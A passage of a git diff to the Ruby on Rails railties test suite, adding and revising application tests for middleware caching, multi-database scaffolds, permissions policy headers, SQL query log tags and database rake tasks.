-        app.config.middleware.use Rack::Config
-      end
-    end
-
-    # ConditionalGet + Etag
-    test "conditional get + etag middlewares handle http caching based on body" do
-      make_basic_app
-
-      class ::OmgController < ActionController::Base
-        def index
-          if params[:nothing]
-            render plain: ""
-          else
-            render plain: "OMG"
-          end
-        end
-      end
-
-      etag = "W/" + "c00862d1c6c1cf7c1b49388306e7b3c1".inspect
-
-      get "/"
-      assert_equal 200, last_response.status
-      assert_equal "OMG", last_response.body
-      assert_equal "text/plain; charset=utf-8", last_response.headers["Content-Type"]
-      assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
-      assert_equal etag, last_response.headers["Etag"]
-
-      get "/", {}, "HTTP_IF_NONE_MATCH" => etag
-      assert_equal 304, last_response.status
-      assert_equal "", last_response.body
-      assert_nil last_response.headers["Content-Type"]
-      assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
-      assert_equal etag, last_response.headers["Etag"]
-
-      get "/?nothing=true"
-      assert_equal 200, last_response.status
-      assert_equal "", last_response.body
-      assert_equal "text/plain; charset=utf-8", last_response.headers["Content-Type"]
-      assert_equal "no-cache", last_response.headers["Cache-Control"]
-      assert_nil last_response.headers["Etag"]
-    end
-
-    test "ORIGINAL_FULLPATH is passed to env" do
-      boot!
-      env = ::Rack::MockRequest.env_for("/foo/?something")
-      Rails.application.call(env)
-
-      assert_equal "/foo/?something", env["ORIGINAL_FULLPATH"]
-    end
-
-    private
-
-      def boot!
-        require "#{app_path}/config/environment"
-      end
-
-      def middleware
-        Rails.application.middleware.map(&:klass).map(&:name)
-      end
-  end
-end
diff --git a/railties/test/application/multi_db_rake_test.rb b/railties/test/application/multi_db_rake_test.rb
new file mode 100644
index 0000000000000..d9f492e084cce
--- /dev/null
+++ b/railties/test/application/multi_db_rake_test.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "env_helpers"
+
+module ApplicationTests
+  class MultiDbRakeTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation, EnvHelpers
+
+    def setup
+      build_app(multi_db: true)
+      @output = rails("generate", "scaffold", "Pet", "name:string", "--database=animals")
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_generate_scaffold_creates_abstract_model
+      assert_match %r{app/models/pet\.rb}, @output
+      assert_match %r{app/models/animals_record\.rb}, @output
+    end
+
+    def test_destroy_scaffold_doesnt_remove_abstract_model
+      output = rails("destroy", "scaffold", "Pet", "--database=animals")
+
+      assert_match %r{app/models/pet\.rb}, output
+      assert_no_match %r{app/models/animals_record\.rb}, output
+    end
+
+    def test_creates_a_directory_for_migrations
+      assert_match %r{db/animals_migrate/}, @output
+    end
+
+    def test_migrations_paths_takes_first
+      app_file "config/database.yml", <<-YAML
+        default: &default
+          adapter: sqlite3
+          max_connections: 5
+          timeout: 5000
+          variables:
+            statement_timeout: 1000
+        development:
+          primary:
+            <<: *default
+            database: storage/development.sqlite3
+          animals:
+            <<: *default
+            database: storage/development_animals.sqlite3
+            migrations_paths:
+              - db/animals_migrate
+              - db/common
+      YAML
+
+      output = rails("generate", "scaffold", "Dog", "name:string", "--database=animals")
+      assert_match %r{db/animals_migrate/}, output
+      assert_no_match %r{db/common/}, output
+    end
+  end
+end
diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb
index 26b810af73681..f0f1112f6b1d7 100644
--- a/railties/test/application/multiple_applications_test.rb
+++ b/railties/test/application/multiple_applications_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -98,30 +100,6 @@ def test_multiple_applications_can_be_initialized
       assert_nothing_raised { AppTemplate::Application.new }
     end
 
-    def test_initializers_run_on_different_applications_go_to_the_same_class
-      application1 = AppTemplate::Application.new
-      run_count = 0
-
-      AppTemplate::Application.initializer :init0 do
-        run_count += 1
-      end
-
-      application1.initializer :init1 do
-        run_count += 1
-      end
-
-      AppTemplate::Application.new.initializer :init2 do
-        run_count += 1
-      end
-
-      assert_equal 0, run_count, "Without loading the initializers, the count should be 0"
-
-      # Set config.eager_load to false so that an eager_load warning doesn't pop up
-      AppTemplate::Application.create { config.eager_load = false }.initialize!
-
-      assert_equal 3, run_count, "There should have been three initializers that incremented the count"
-    end
-
     def test_consoles_run_on_different_applications_go_to_the_same_class
       run_count = 0
       AppTemplate::Application.console { run_count += 1 }
@@ -163,12 +141,12 @@ def test_inserting_configuration_into_application
       app.config.some_setting = "a_different_setting"
       assert_equal "a_different_setting", app.config.some_setting, "The configuration's some_setting should be set."
 
-      new_config = Rails::Application::Configuration.new("root_of_application")
+      new_config = Rails::Application::Configuration.new(Pathname.new("root_of_application"))
       new_config.some_setting = "some_setting_dude"
       app.config = new_config
 
       assert_equal "some_setting_dude", app.config.some_setting, "The configuration's some_setting should have changed."
-      assert_equal "root_of_application", app.config.root, "The root should have changed to the new config's root."
+      assert_equal "root_of_application", app.config.root.to_s, "The root should have changed to the new config's root."
       assert_equal new_config, app.config, "The application's config should have changed to the new config."
     end
   end
diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb
index 515205296c398..8a03a10e1df40 100644
--- a/railties/test/application/paths_test.rb
+++ b/railties/test/application/paths_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -6,7 +8,7 @@ class PathsTest < ActiveSupport::TestCase
 
     def setup
       build_app
-      FileUtils.rm_rf("#{app_path}/config/environments")
+      reset_environment_configs
       app_file "config/environments/development.rb", ""
       add_to_config <<-RUBY
         config.root = "#{app_path}"
@@ -35,7 +37,7 @@ def assert_in_load_path(*path)
     end
 
     def assert_not_in_load_path(*path)
-      assert !$:.any? { |p| File.expand_path(p) == root(*path) }, "Load path includes '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
+      assert_not $:.any? { |p| File.expand_path(p) == root(*path) }, "Load path includes '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
     end
 
     test "booting up Rails yields a valid paths object" do
@@ -49,6 +51,9 @@ def assert_not_in_load_path(*path)
       assert_path @paths["config/locales"],      "config/locales/en.yml"
       assert_path @paths["config/environment"],  "config/environment.rb"
       assert_path @paths["config/environments"], "config/environments/development.rb"
+      assert_path @paths["config/routes.rb"],    "config/routes.rb"
+      assert_path @paths["config/routes"],       "config/routes"
+      assert_path @paths["test/mailers/previews"], "test/mailers/previews"
 
       assert_equal root("app", "controllers"), @paths["app/controllers"].expanded.first
     end
@@ -65,12 +70,12 @@ def assert_not_in_load_path(*path)
     end
 
     test "load path includes each of the paths in config.paths as long as the directories exist" do
-      assert_in_load_path "app", "controllers"
-      assert_in_load_path "app", "models"
-      assert_in_load_path "app", "helpers"
       assert_in_load_path "lib"
       assert_in_load_path "vendor"
 
+      assert_not_in_load_path "app", "controllers"
+      assert_not_in_load_path "app", "models"
+      assert_not_in_load_path "app", "helpers"
       assert_not_in_load_path "app", "views"
       assert_not_in_load_path "config"
       assert_not_in_load_path "config", "locales"
diff --git a/railties/test/application/per_request_digest_cache_test.rb b/railties/test/application/per_request_digest_cache_test.rb
index 6c003e9bcc843..809f94be8dcd1 100644
--- a/railties/test/application/per_request_digest_cache_test.rb
+++ b/railties/test/application/per_request_digest_cache_test.rb
@@ -1,13 +1,13 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 require "minitest/mock"
 
 require "action_view"
-require "active_support/testing/method_call_assertions"
 
 class PerRequestDigestCacheTest < ActiveSupport::TestCase
   include ActiveSupport::Testing::Isolation
-  include ActiveSupport::Testing::MethodCallAssertions
   include Rack::Test::Methods
 
   setup do
@@ -18,6 +18,10 @@ class PerRequestDigestCacheTest < ActiveSupport::TestCase
       class Customer < Struct.new(:name, :id)
         extend ActiveModel::Naming
         include ActiveModel::Conversion
+
+        def cache_key
+          [ name, id ].join("/")
+        end
       end
     RUBY
 
@@ -53,12 +57,12 @@ def index
     assert_equal 200, last_response.status
 
     values = ActionView::LookupContext::DetailsKey.digest_caches.first.values
-    assert_equal [ "8ba099b7749542fe765ff34a6824d548" ], values
+    assert_equal [ "ddb451d2c1b2374caa676005893bb776" ], values
     assert_equal %w(david dingus), last_response.body.split.map(&:strip)
   end
 
   test "template digests are cleared before a request" do
-    assert_called(ActionView::LookupContext::DetailsKey, :clear) do
+    assert_called(ActionView::LookupContext::DetailsKey, :clear, times: 2) do
       get "/customers"
       assert_equal 200, last_response.status
     end
diff --git a/railties/test/application/permissions_policy_test.rb b/railties/test/application/permissions_policy_test.rb
new file mode 100644
index 0000000000000..1a4e2234a0af3
--- /dev/null
+++ b/railties/test/application/permissions_policy_test.rb
@@ -0,0 +1,193 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class PermissionsPolicyTest < ActiveSupport::TestCase
+    POLICY = ActionDispatch::Constants::FEATURE_POLICY
+
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "permissions policy is not enabled by default" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_nil last_response.headers[POLICY]
+    end
+
+    test "global permissions policy in an initializer" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/permissions_policy.rb", <<-RUBY
+        Rails.application.config.permissions_policy do |p|
+          p.geolocation :none
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "geolocation 'none'"
+    end
+
+    test "override permissions policy using same directive in a controller" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          permissions_policy do |p|
+            p.geolocation "https://example.com"
+          end
+
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/permissions_policy.rb", <<-RUBY
+        Rails.application.config.permissions_policy do |p|
+          p.geolocation :none
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "geolocation https://example.com"
+    end
+
+    test "override permissions policy by unsetting a directive in a controller" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          permissions_policy do |p|
+            p.geolocation nil
+          end
+
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/permissions_policy.rb", <<-RUBY
+        Rails.application.config.permissions_policy do |p|
+          p.geolocation :none
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_equal 200, last_response.status
+      assert_nil last_response.headers[POLICY]
+    end
+
+    test "override permissions policy using different directives in a controller" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          permissions_policy do |p|
+            p.geolocation nil
+            p.payment     "https://secure.example.com"
+            p.autoplay    :none
+          end
+
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/permissions_policy.rb", <<-RUBY
+        Rails.application.config.permissions_policy do |p|
+          p.geolocation :none
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "payment https://secure.example.com; autoplay 'none'"
+    end
+
+    test "global permissions policy added to rack app" do
+      app_file "config/initializers/permissions_policy.rb", <<-RUBY
+        Rails.application.config.permissions_policy do |p|
+          p.payment :none
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          app = ->(env) {
+            [200, { Rack::CONTENT_TYPE => "text/html" }, ["<p>Hello, World!</p>"]]
+          }
+          root to: app
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "payment 'none'"
+    end
+
+    private
+      def assert_policy(expected)
+        assert_equal 200, last_response.status
+        assert_equal expected, last_response.headers[POLICY]
+      end
+  end
+end
diff --git a/railties/test/application/query_logs_test.rb b/railties/test/application/query_logs_test.rb
new file mode 100644
index 0000000000000..de1cb716e75d1
--- /dev/null
+++ b/railties/test/application/query_logs_test.rb
@@ -0,0 +1,309 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class QueryLogsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app(multi_db: true)
+      rails("generate", "scaffold", "Pet", "name:string", "--database=animals")
+      app_file "app/models/user.rb", <<-RUBY
+        class User < ActiveRecord::Base
+        end
+      RUBY
+
+      app_file "app/controllers/users_controller.rb", <<-RUBY
+        class UsersController < ApplicationController
+          def index
+            render inline: ActiveRecord::QueryLogs.call("SELECT 1", Pet.connection)
+          end
+
+          def dynamic_content
+            Time.now.to_f.to_s
+          end
+        end
+      RUBY
+
+      app_file "app/controllers/name_spaced/users_controller.rb", <<-RUBY
+        class NameSpaced::UsersController < ApplicationController
+          def index
+            render inline: ActiveRecord::QueryLogs.call("", ActiveRecord::Base.lease_connection)
+          end
+        end
+      RUBY
+
+      app_file "app/jobs/user_job.rb", <<-RUBY
+        class UserJob < ActiveJob::Base
+          def perform
+            ActiveRecord::QueryLogs.call("", ActiveRecord::Base.lease_connection)
+          end
+
+          def dynamic_content
+            Time.now.to_f.to_s
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/", to: "users#index"
+          get "/namespaced/users", to: "name_spaced/users#index"
+        end
+      RUBY
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    test "does not modify the query execution path by default" do
+      boot_app
+
+      assert_not_includes ActiveRecord.query_transformers, ActiveRecord::QueryLogs
+    end
+
+    test "prepends the query execution path when enabled" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+
+      boot_app
+
+      assert_includes ActiveRecord.query_transformers, ActiveRecord::QueryLogs
+    end
+
+    test "disables prepared statements when enabled" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+
+      boot_app
+
+      assert_predicate ActiveRecord, :disable_prepared_statements
+    end
+
+    test "controller and job tags are defined by default" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        raise "Expected prepared_statements to be enabled" unless ActiveRecord::Base.lease_connection.prepared_statements
+        ActiveRecord::Base.lease_connection.execute("SELECT 1")
+      RUBY
+
+      boot_app
+
+      assert_equal [ :application, :controller, :action, :job ], ActiveRecord::QueryLogs.tags
+    end
+
+    test "controller actions have tagging filters enabled by default" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags_format = :legacy"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_includes comment, "controller:users"
+    end
+
+    test "sqlcommenter formatting works when specified" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags_format = :sqlcommenter"
+
+      add_to_config "config.active_record.query_log_tags = [ :pid ]"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_match(/pid='\d+'/, comment)
+      assert_includes comment, "controller='users'"
+    end
+
+    test "controller actions tagging filters can be disabled" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.action_controller.log_query_tags_around_actions = false"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_not_includes comment, "controller:users"
+    end
+
+    test "database information works with multiple database applications" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :socket, :db_host, :database ]"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_equal("SELECT 1 /*action='index',controller='users',database='storage%2Fproduction_animals.sqlite3'*/", comment)
+    end
+
+    test "source_location information is added if enabled" do
+      add_to_config <<~RUBY
+        config.active_record.query_log_tags_enabled = true
+        config.active_record.query_log_tags = [ :source_location ]
+
+        # Remove silencers, so we won't get all backtrace lines filtered.
+        Rails.backtrace_cleaner.remove_silencers!
+      RUBY
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_match(/source_location='.*\d+'/, comment)
+    end
+
+    test "prepending tags comment" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :action, :controller ]"
+      add_to_config "config.active_record.query_log_tags_prepend_comment = true"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_match(/\A\/\*action='index',controller='users'\*\/ SELECT 1/, comment)
+    end
+
+    test "controller tags are not doubled up if already configured" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :action, :job, :controller, :pid ]"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_match(/\/\*action='index',controller='users',pid='\d+'\*\//, comment)
+    end
+
+    test "namespace controller tags are not doubled up if already configured" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :action, :job, :namespaced_controller, :pid ]"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+
+      assert_match(/\/\*action='index',namespaced_controller='users',pid='\d+'\*\//, comment)
+    end
+
+    test "job perform method has tagging filters enabled by default" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+
+      boot_app
+
+      comment = UserJob.new.perform_now
+
+      assert_includes comment, "UserJob"
+    end
+
+    test "job perform method tagging filters can be disabled" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_job.log_query_tags_around_perform = false"
+
+      boot_app
+
+      comment = UserJob.new.perform_now
+
+      assert_not_includes comment, "UserJob"
+    end
+
+    test "job tags are not doubled up if already configured" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :action, :job, :controller, :pid ]"
+
+      boot_app
+
+      comment = UserJob.new.perform_now
+
+      assert_match(/\/\*job='UserJob',pid='\d+'\*\//, comment)
+    end
+
+    test "query cache is cleared between requests" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.cache_query_log_tags = true"
+      add_to_config "config.active_record.query_log_tags = [ { dynamic: ->(context) { context[:controller]&.dynamic_content } } ]"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+
+      first_tags = last_response.body
+
+      get "/", {}, { "HTTPS" => "on" }
+
+      second_tags = last_response.body
+
+      assert_not_equal first_tags, second_tags
+    end
+
+    test "query cache is cleared between job executions" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.cache_query_log_tags = true"
+      add_to_config "config.active_record.query_log_tags = [ { dynamic: ->(context) { context[:job]&.dynamic_content } } ]"
+
+      boot_app
+
+      first_tags = UserJob.new.perform_now
+      second_tags = UserJob.new.perform_now
+
+      assert_not_equal first_tags, second_tags
+    end
+
+    test "controller and namespaced_controller are named correctly" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :action, :namespaced_controller, :controller ]"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+      assert_equal %(SELECT 1 /*action='index',controller='users',namespaced_controller='users'*/), comment
+
+      get "/namespaced/users", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+      assert_equal %(/*action='index',controller='users',namespaced_controller='name_spaced%2Fusers'*/), comment
+    end
+
+    test "controller and namespaced_controller are named correctly, legacy" do
+      add_to_config "config.active_record.query_log_tags_enabled = true"
+      add_to_config "config.active_record.query_log_tags = [ :action, :namespaced_controller, :controller ]"
+      add_to_config "config.active_record.query_log_tags_format = :legacy"
+
+      boot_app
+
+      get "/", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+      assert_match %(/*action:index,controller:users,namespaced_controller:users*/), comment
+
+      get "/namespaced/users", {}, { "HTTPS" => "on" }
+      comment = last_response.body.strip
+      assert_match %(/*action:index,controller:users,namespaced_controller:name_spaced/users*/), comment
+    end
+
+    private
+      def boot_app(env = "production")
+        ENV["RAILS_ENV"] = env
+
+        require "#{app_path}/config/environment"
+      ensure
+        ENV.delete "RAILS_ENV"
+      end
+  end
+end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index e71bcbc536cfc..ea425d5fa5774 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "active_support/log_subscriber/test_helper"
 require "rack/test"
@@ -51,6 +53,12 @@ def logs
         wait
         assert_match 'Started HEAD "/"', logs
       end
+
+      test "logger logs correct remote IP address" do
+        get "/", {}, { "REMOTE_ADDR" => "127.0.0.1", "HTTP_X_FORWARDED_FOR" => "1.2.3.4" }
+        wait
+        assert_match 'Started GET "/" for 1.2.3.4', logs
+      end
     end
   end
 end
diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb
index 2943e9ee5dd42..383f18a7da147 100644
--- a/railties/test/application/rackup_test.rb
+++ b/railties/test/application/rackup_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
diff --git a/railties/test/application/rake/dbs_postgresql_test.rb b/railties/test/application/rake/dbs_postgresql_test.rb
new file mode 100644
index 0000000000000..cb40d1888c1eb
--- /dev/null
+++ b/railties/test/application/rake/dbs_postgresql_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeDbsPostgreSQLTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "db:create works when schema cache exists and database does not exist" do
+        use_postgresql
+
+        begin
+          rails %w(db:create db:migrate db:schema:cache:dump)
+
+          rails "db:drop"
+          rails "db:create"
+          assert_equal 0, $?.exitstatus
+        ensure
+          rails "db:drop" rescue nil
+        end
+      end
+
+      test "db:schema:cache:dump dumps virtual columns" do
+        Dir.chdir(app_path) do
+          use_postgresql
+          rails "db:drop", "db:create"
+
+          rails "runner", <<~RUBY
+            ActiveRecord::Base.lease_connection.create_table(:books) do |t|
+              t.integer :pages
+              t.virtual :pages_plus_1, type: :integer, as: "pages + 1", stored: true
+            end
+          RUBY
+
+          rails "db:schema:cache:dump"
+
+          virtual_column_exists = rails("runner", "p ActiveRecord::Base.schema_cache.columns('books')[2].virtual?").strip
+          assert_equal "true", virtual_column_exists
+        end
+      end
+
+      test "db:prepare creates test database if it does not exist" do
+        Dir.chdir(app_path) do
+          db_name = use_postgresql
+          rails "db:drop", "db:create"
+          rails "runner", "ActiveRecord::Base.lease_connection.drop_database(:#{db_name}_test)"
+
+          output = rails("db:prepare")
+          assert_match(%r{Created database '#{db_name}_test'}, output)
+        end
+      ensure
+        rails "db:drop" rescue nil
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/dbs_schema_test.rb b/railties/test/application/rake/dbs_schema_test.rb
new file mode 100644
index 0000000000000..6acd180a1d577
--- /dev/null
+++ b/railties/test/application/rake/dbs_schema_test.rb
@@ -0,0 +1,330 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeDbsSchemaTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+        reset_environment_configs
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      def database_url_db_name
+        "db/database_url_db.sqlite3"
+      end
+
+      def set_database_url
+        ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
+        # ensure it's using the DATABASE_URL
+        FileUtils.rm_rf("#{app_path}/config/database.yml")
+      end
+
+      def db_migrate_and_status(expected_database)
+        rails "generate", "model", "book", "title:string"
+        rails "db:migrate"
+        output = rails("db:migrate:status")
+        assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output)
+        assert_match(/up\s+\d{14}\s+Create books/, output)
+      end
+
+      test "db:migrate and db:migrate:status without database_url" do
+        require "#{app_path}/config/environment"
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: "primary")
+        db_migrate_and_status db_config.database
+      end
+
+      test "db:migrate and db:migrate:status with database_url" do
+        require "#{app_path}/config/environment"
+        set_database_url
+        db_migrate_and_status database_url_db_name
+      end
+
+      test "db:migrate on new db loads schema" do
+        app_file "db/schema.rb", <<-RUBY
+          ActiveRecord::Schema.define(version: 20140423102712) do
+            create_table(:comments) {}
+          end
+        RUBY
+
+        rails "db:migrate"
+        list_tables = lambda { rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
+
+        assert_equal "[\"ar_internal_metadata\", \"comments\", \"schema_migrations\"]", list_tables[]
+      end
+
+      test "db:migrate on multiple new dbs loads schema" do
+        File.write("#{app_path}/config/database.yml", <<~YAML)
+          development:
+            primary:
+              adapter: sqlite3
+              database: storage/test.sqlite3
+            queue:
+              adapter: sqlite3
+              database: storage/test_queue.sqlite3
+        YAML
+
+        app_file "db/schema.rb", <<-RUBY
+          ActiveRecord::Schema.define(version: 20140423102712) do
+            create_table(:comments) {}
+          end
+        RUBY
+
+        app_file "db/queue_schema.rb", <<-RUBY
+          ActiveRecord::Schema.define(version: 20141016001513) do
+            create_table(:executions) {}
+          end
+        RUBY
+
+        rails "db:migrate"
+        primary_tables = lambda { rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
+        queue_tables = lambda { rails("runner", "p ActiveRecord::Base.connects_to(database: { writing: :queue }).first.lease_connection.tables.sort").strip }
+
+        assert_equal "[\"ar_internal_metadata\", \"comments\", \"schema_migrations\"]", primary_tables[]
+        assert_equal "[\"ar_internal_metadata\", \"executions\", \"schema_migrations\"]", queue_tables[]
+      end
+
+      test "db:migrate:reset regenerates the schema from migrations" do
+        app_file "db/migrate/01_a_migration.rb", <<-MIGRATION
+          class AMigration < ActiveRecord::Migration::Current
+             create_table(:comments) {}
+          end
+        MIGRATION
+        rails("db:migrate")
+        app_file "db/migrate/01_a_migration.rb", <<-MIGRATION
+          class AMigration < ActiveRecord::Migration::Current
+             create_table(:comments) { |t| t.string :title }
+          end
+        MIGRATION
+
+        rails("db:migrate:reset")
+
+        assert File.read("#{app_path}/db/schema.rb").include?("title")
+      end
+
+      def db_schema_dump
+        Dir.chdir(app_path) do
+          args = ["generate", "model", "book", "title:string"]
+          rails args
+          rails "db:migrate", "db:schema:dump"
+          assert_match(/create_table "books"/, File.read("db/schema.rb"))
+        end
+      end
+
+      def db_schema_sql_dump
+        Dir.chdir(app_path) do
+          args = ["generate", "model", "book", "title:string"]
+          rails args
+          rails "db:migrate", "db:schema:dump"
+          assert_match(/CREATE TABLE/, File.read("db/structure.sql"))
+        end
+      end
+
+      test "db:schema:dump without database_url" do
+        db_schema_dump
+      end
+
+      test "db:schema:dump with database_url" do
+        set_database_url
+        db_schema_dump
+      end
+
+      test "db:schema:dump with env as ruby" do
+        add_to_config "config.active_record.schema_format = :sql"
+
+        old_env = ENV["SCHEMA_FORMAT"]
+        ENV["SCHEMA_FORMAT"] = "ruby"
+
+        db_schema_dump
+      ensure
+        ENV["SCHEMA_FORMAT"] = old_env
+      end
+
+      test "db:schema:dump with env as sql" do
+        add_to_config "config.active_record.schema_format = :ruby"
+
+        old_env = ENV["SCHEMA_FORMAT"]
+        ENV["SCHEMA_FORMAT"] = "sql"
+
+        db_schema_sql_dump
+      ensure
+        ENV["SCHEMA_FORMAT"] = old_env
+      end
+
+      def db_schema_cache_dump
+        Dir.chdir(app_path) do
+          rails "db:schema:cache:dump"
+
+          cache_size = lambda { rails("runner", "p ActiveRecord::Base.schema_cache.size").strip }
+          cache_tables = lambda { rails("runner", "p ActiveRecord::Base.schema_cache.columns('books')").strip }
+
+          assert_equal "12", cache_size[]
+          assert_includes cache_tables[], "id", "expected cache_tables to include an id entry"
+          assert_includes cache_tables[], "title", "expected cache_tables to include a title entry"
+        end
+      end
+
+      test "db:schema:cache:dump" do
+        db_schema_dump
+        db_schema_cache_dump
+      end
+
+      test "db:schema:cache:dump with custom filename" do
+        Dir.chdir(app_path) do
+          File.open("#{app_path}/config/database.yml", "w") do |f|
+            f.puts <<-YAML
+            default: &default
+              adapter: sqlite3
+              max_connections: 5
+              timeout: 5000
+              variables:
+                statement_timeout: 1000
+            development:
+              <<: *default
+              database: storage/development.sqlite3
+              schema_cache_path: db/special_schema_cache.yml
+            YAML
+          end
+        end
+
+        db_schema_dump
+        db_schema_cache_dump
+      end
+
